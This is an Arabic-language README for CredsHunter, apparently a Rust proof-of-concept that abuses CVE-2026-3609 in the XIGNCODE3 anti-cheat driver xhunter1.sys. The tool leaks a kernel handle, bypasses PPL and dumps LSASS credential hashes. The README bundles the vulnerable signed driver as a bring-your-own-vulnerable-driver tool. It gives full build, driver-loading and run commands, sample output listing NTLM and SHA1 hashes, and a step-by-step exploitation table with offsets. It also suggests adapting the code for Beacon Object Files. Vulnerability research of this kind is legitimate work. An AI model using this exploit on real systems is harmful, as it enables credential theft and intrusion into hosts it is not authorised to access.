
PoC لـ CVE-2026-3609 - تسريب handle في xhunter1.sys الخاص بـ XIGNCODE3 يتيح تجاوز PPL وتفريغ LSASS
إثبات مفهوم لتفريغ بيانات اعتماد LSASS عبر ثغرة تسريب مقبض عملية تتجاوز PPL في مشغّل مكافحة الغش XIGNCODE3 من Wellbia، وهو xhunter1.sys.
يكشف المشغّل عن واجهة أوامر IRP_MJ_WRITE تستدعي ObOpenObjectByPointer مع AccessMode = KernelMode وبدون OBJ_KERNEL_HANDLE، مما يُسقط مقبض PROCESS_ALL_ACCESS مُصدَرًا من النواة مباشرةً في جدول مقابض المُنادي. ومن هناك، يقرأ كود تفريغ بيانات الاعتماد القياسي مفتاح 3DES الخاص بـ lsasrv.dll من الهدف ويستعيد تجزئات NTLM وSHA1 لكل جلسة تسجيل دخول نشطة.
xhunter1.sys version 10.0.10011.16384
SHA-256 e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e
المشغّل الموقّع المعرّض للثغرة مضمّن في هذا المستودع (xhunter1.sys) بحيث يكون الاستغلال قابلًا للتكرار من البداية إلى النهاية. تحقّق من التجزئة قبل التحميل:
Get-FileHash .\xhunter1.sys -Algorithm SHA256
الإصدارات الأحدث من XIGNCODE3 مصحّحة. يبقى الملف الموقّع المعرّض للثغرة قابلًا للاستخدام كأداة BYOVD على أي مضيف يمكن إسقاطه وتحميله عليه.
git clone https://github.com/BlackSnufkin/CredsHunter.git
cd CredsHunter
cargo build --release
يُوضع الملف التنفيذي الناتج في target\release\CredsHunter.exe.
حمّل المشغّل المرفق كخدمة نواة (تسمح DACL لجهاز المشغّل لأي مُنادٍ بمجرد تشغيله):
sc create xhunter type=kernel binPath=(Resolve-Path .\xhunter1.sys)
sc start xhunter
شغّل الأداة:
.\target\release\CredsHunter.exe
للتنظيف بعد ذلك:
sc stop xhunter
sc delete xhunter
اسم الجهاز الافتراضي هو \\.\xhunter (يطابق اسم الخدمة في المثال أعلاه). إذا كانت خدمتك تستخدم اسمًا مختلفًا، فسيكون مسار الجهاز تابعًا له — عدّل driver::DEFAULT_DEVICE أو استدعِ Xhunter::open_named وفقًا لذلك.
xhunter1.sys BYOVD — LSASS credential dump
CVE-2026-3609 — PPL bypass via cmd 785 (ObOpenObjectByPointer/KernelMode)
[+] OS build .............. 26200
[+] lsass.exe PID ......... 940
[+] Driver opened ......... \\.\xhunter
[+] PPL bypass handle ..... 0x154 (ReadProcessMemory)
[+] lsasrv.dll ............ local 0x00007FFB27CB0000 remote 0x00007FFB27CB0000
[+] LSA key addrs (local) . AES 0x... 3DES 0x... IV 0x...
[+] 3DES key (24B) ........ <hex>
[+] IV .................... <hex>
===== LogonSessionList =====
[0001] LogonSession @ 0x...
User : <username>
Domain : <domain>
NTHash : <16 bytes hex>
SHA1 : <20 bytes hex>
[...]
src/
├── main.rs # banner, run flow, ExitCode handling
├── driver.rs # Xhunter, Session, MemReader trait, protocol constants
├── proc.rs # find_pid, PEB-walk remote module lookup
├── pe.rs # local PE parsing + pattern scan + RIP decode
├── lsa.rs # LSA key patterns, BCrypt key extraction, 3DES decrypt
├── logon.rs # LogonSessionList walker + MSV1_0 offsets
├── wdigest.rs # WDigest list walker (best-effort)
└── sys.rs # OS build number
تجرّد السمة MemReader قراءات الذاكرة بحيث لا تعتمد وحدات استخراج بيانات الاعتماد على بدائية المشغّل المحددة. طبّق السمة على قارئ مختلف (مثل بيئة تشغيل Beacon Object File، أو قارئ ذاكرة فيزيائية قائم على ptwalk) وستعمل وحدات lsa / logon / wdigest كما هي دون تغيير.
48 3B D9 74) موروث من PoC العام الأصلي ولم يتم تحديثه لبناء 26100+ من Windows 11. توسيع هذا إلى جدول مخصص لكل إصدار أمر مباشر؛ وقبول طلبات السحب (PRs) مرحّب به.xhunter. إذا قمت بتحميل المشغّل باسم مختلف، عدّل driver::DEFAULT_DEVICE أو مرّر قيمة تجاوز إلى Xhunter::open_named.للاستخدام البحثي والاختبار المصرّح به وأدوات الدفاع فقط. تحميل المشغّل المعرّض للثغرة على نظام لا تملكه أو ليس لديك إذن صريح لاختباره يُعد جريمة في معظم الولايات القضائية. لا يتحمّل المؤلف أي مسؤولية عن سوء الاستخدام.
انظر LICENSE.
| المرحلة | المكوّن | ما يحدث |
|---|
| 1 | driver.rs → Xhunter::open | CreateFile("\\.\\xhunter") — لا يوجد مصادقة على الجهاز |
| 2 | driver.rs → Xhunter::open_process | WriteFile مع الأمر 785 (PID، PROCESS_ALL_ACCESS). يستدعي المشغّل ObOpenObjectByPointer(target, 0, NULL, 0x1FFFFF, PsProcessType, KernelMode, &handle) ويكتب المقبض مرة أخرى إلى مخزن الاستجابة الخاص بالمستخدم عند الإزاحة +0x10. يتجاوز المقبض PPL لأن AccessMode = KernelMode يتخطّى فحص الوصول، ويستقر في جدول المقابض الخاص بنا لأن OBJ_KERNEL_HANDLE غير مضبوط. |
| 3 | driver.rs → Session::attach | يختبر ReadProcessMemory ضد المقبض المُصدَر من النواة. ويتراجع إلى أمر المشغّل 787 (KeStackAttachProcess + memcpy) إذا كان RPM محظورًا. |
| 4 | lsa.rs | يمسح أنماط .text الخاص بـ lsasrv.dll المحلي لاستعادة المؤشرات النسبية إلى عنوان التعليمات (RIP-relative) لمفتاح AES ومفتاح 3DES وقيمة IV داخل LsaInitializeProtectedMemory. يعيد ترسيم تلك العناوين الافتراضية (VAs) على تخطيط الهدف، ويتنقّل عبر BCRYPT_HANDLE_KEY → BCRYPT_KEY81، ويسحب بايتات 3DES الخام من الهدف. |
| 5 | logon.rs | يتنقّل عبر LogonSessionList (جدول توقيعات مخصص لكل إصدار). تحمل بيانات الاعتماد الأساسية لكل إدخال عند +credentials → +0x10 → +0x30 كتلة بحجم 0x1B0 بايت مشفّرة بـ 3DES. يقوم bcrypt.dll بفك تشفيرها؛ البايتات 70..86 هي تجزئة NT، والبايتات 102..122 هي SHA1. |